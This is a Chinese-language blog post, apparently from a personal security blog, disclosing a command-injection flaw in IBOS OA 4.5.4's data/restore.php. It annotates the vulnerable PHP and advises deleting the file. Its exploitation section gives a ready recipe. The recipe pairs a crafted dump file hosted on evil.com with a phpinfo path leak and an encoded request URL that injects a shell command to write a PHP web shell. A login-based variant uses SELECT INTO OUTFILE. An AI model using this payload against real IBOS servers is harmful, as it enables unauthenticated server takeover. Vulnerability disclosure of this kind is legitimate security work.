经历:
在A5源码站里,找了个排名比较靠前的PHP系统,审计了下,找了个比较简单的getshell漏洞(命令执行)
漏洞描述:
IBOS OA管理系统最新的4.5.4开源版本存在多处漏洞,可导致服务器gethell,有趣的是,在pro版的4.5.4版本,已经删除了restore.php文件,建议使用开源版IBOS的用户,及时更名或者删除./data/restore.php
漏洞分析:
可以看https://gitee.com/ibos/IBOS/blob/master/data/restore.php
首先,可以发现 getRequest('op') 在获取到op参数后,判断如果op=restore,则进入restore函数。
$op = Env::getRequest('op');
$msg = $url = '';
$type = 'message';
$success = 1;
if ($op == 'restore') {
$id = Env::getRequest('id');
$status = restore($id);
extract($status);
showMeassage($msg, $url, $type, $success);
可以看整个restore函数,因为函数不长,就把漏洞的思路直接贴在代码注释里:
/**
* 恢复备份的sql文件
* @param string $id 文件名
* @return array
*/
function restore($id)
{
$path = PATH_ROOT;
if (strstr($path, 'data')) {
$id = trim(str_replace('data', '', $id), '/');
}
$file = urldecode($id); //id=http://evil.com/1.txt
$fp = @fopen($file, 'rb'); //fopen载入了远程的1.txt
if ($fp) {
$sqlDump = fgets($fp, 256);
$identify = explode(',', base64_decode(preg_replace("/^# Identify:\s*(\w+).*/s", "\\1", $sqlDump))); //解码base64 各项参数值
$dumpInfo = array(
'method' => $identify[3],
'volume' => intval($identify[4]),
'tablepre' => $identify[5],
'dbcharset' => $identify[6]
);
if ($dumpInfo['method'] == 'multivol') { //如果method=multivol,也可以造成任意sql语句执行。
$sqlDump .= fread($fp, filesize($file)); //由于存在fread,如果进了这个判断,远程文件会导致代码报错,可以用本地上传的方式。
}
fclose($fp);
} else {
if (Env::getRequest('autorestore', 'G')) {
return array('success' => 1, 'msg' => Ibos::lang('Database import multivol succeed', 'dashboard.default'));
} else {
return array('success' => 0, 'msg' => Ibos::lang('Database import file illegal', 'dashboard.default'));
}
}
$command = Ibos::app()->db->createCommand();
// 分卷导入
if ($dumpInfo['method'] == 'multivol') {
$sqlQuery = StringUtil::splitSql($sqlDump);
unset($sqlDump);
$dbCharset = Ibos::app()->db->charset;
$dbVersion = Ibos::app()->db->getServerVersion();
foreach ($sqlQuery as $sql) {
$sql = Database::syncTableStruct(trim($sql), $dbVersion > '4.1', $dbCharset);
if ($sql != '') {
$command->setText($sql)->execute();
}
}
$delunzip = Env::getRequest('delunzip', 'G');
if ($delunzip) {
@unlink($file);
}
$pattern = "/-({$dumpInfo['volume']})(\..+)$/";
$relacement = "-" . ($dumpInfo['volume'] + 1) . "\\2";
$nextFile = preg_replace($pattern, $relacement, $file);
$nextFile = urlencode($nextFile);
$param = array(
'op' => 'restore',
'id' => $nextFile,
'autorestore' => 'yes'
);
if ($delunzip) {
$param['delunzip'] = 'yes';
}
$msg = Ibos::lang('Database import multivol redirect', 'dashboard.default', array('volume' => $dumpInfo['volume']));
$url = 'restore.php?' . http_build_query($param);
if ($dumpInfo['volume'] == 1) {
return array('type' => 'redirect', 'msg' => $msg, 'url' => $url);
} elseif (Env::getRequest('autorestore', 'G')) {
return array('type' => 'redirect', 'msg' => $msg, 'url' => $url);
} else {
return array('success' => 1, 'msg' => Ibos::lang('Database import succeed', 'dashboard.default'));
}
} else if ($dumpInfo['method'] == 'shell') { //此时,进入shell的判断
// 加载系统生成配置文件
$config = @include PATH_ROOT . './system/config/config.php';
if (empty($config)) {
throw new Exception(Ibos::Lang('Config not found', 'error'));
} else {
$db = $config['db'];
}
$query = $command->setText("SHOW VARIABLES LIKE 'basedir'")->queryRow();
$mysqlBase = $query['Value'];
$mysqlBin = $mysqlBase == '/' ? '' : addslashes($mysqlBase) . 'bin/';
shell_exec($mysqlBin . 'mysql -h"' . $db['host'] . ($db['port'] ? (is_numeric($db['port']) ? ' -P' . $db['port'] : ' -S"' . $db['port'] . '"') : '') .
'" -u"' . $db['username'] . '" -p"' . $db['password'] . '" "' . $db['dbname'] . '" < ' . $file); //此处直接把 $file 拼接到了 shell_exec中,由于$file是 http://evil.com/1.txt & whoami,造成了命令执行
return array('success' => 1, 'msg' => Ibos::lang('Database import succeed', 'dashboard.default'));
} else {
return array('success' => 0, 'msg' => Ibos::lang('Database import file illegal', 'dashboard.default'));
}
}
漏洞利用:
目标站点记做 http://localhost/
无需登录版本getshell,需服务端开启allow_url_fopen:
首先,上传一个文件到自己的服务器上,记做 http://evil.com/1.txt
# Identify: MTUzNzQxMzY1MCw0LjUuNCxhbGwsc2hlbGwsMSx0ZXN0Ml8sdXRmOA==
# <?php exit();?>
# IBOS Multi-Volume Data Dump Vol.1
# Version: IBOS 4.5.4
# Time: 2018-09-20 11:20:50
# Type: all
# Table Prefix: test2_
#
# IBOS Home: http://www.ibos.com.cn
# Please visit our website for newest infomation about IBOS
# --------------------------------------------------------
SET NAMES 'utf8';
然后,访问 http://localhost/install/api.php?p=phpinfo
从返回的phpinfo中得到站点的真实路径,记做/home/wwwroot/。
然后访问 http://localhost/data/restore.php?op=restore&id=http%3A//evil.com/1.txt?%20%26%20echo%20%27xxx%27%20%3E%20/home/wwwroot/xxx.php 写入一句话木马。
需要登录版本的getshell:
登陆后在个人网盘上传txt文件,这样就不需要allow_url_fopen,也可以进入任意SQL语句执行的判断里,用SQL语句select into outfile写shell。
本文由 owner 创作,采用 知识共享署名4.0 国际许可协议进行许可
本站文章除注明转载/出处外,均为本站原创或翻译,转载前请务必署名
最后编辑时间为: Jan 2, 2019 at 04:01 pm
师傅太强了溜了溜了。
博主你好,我发现有空格无法绕过................
啥?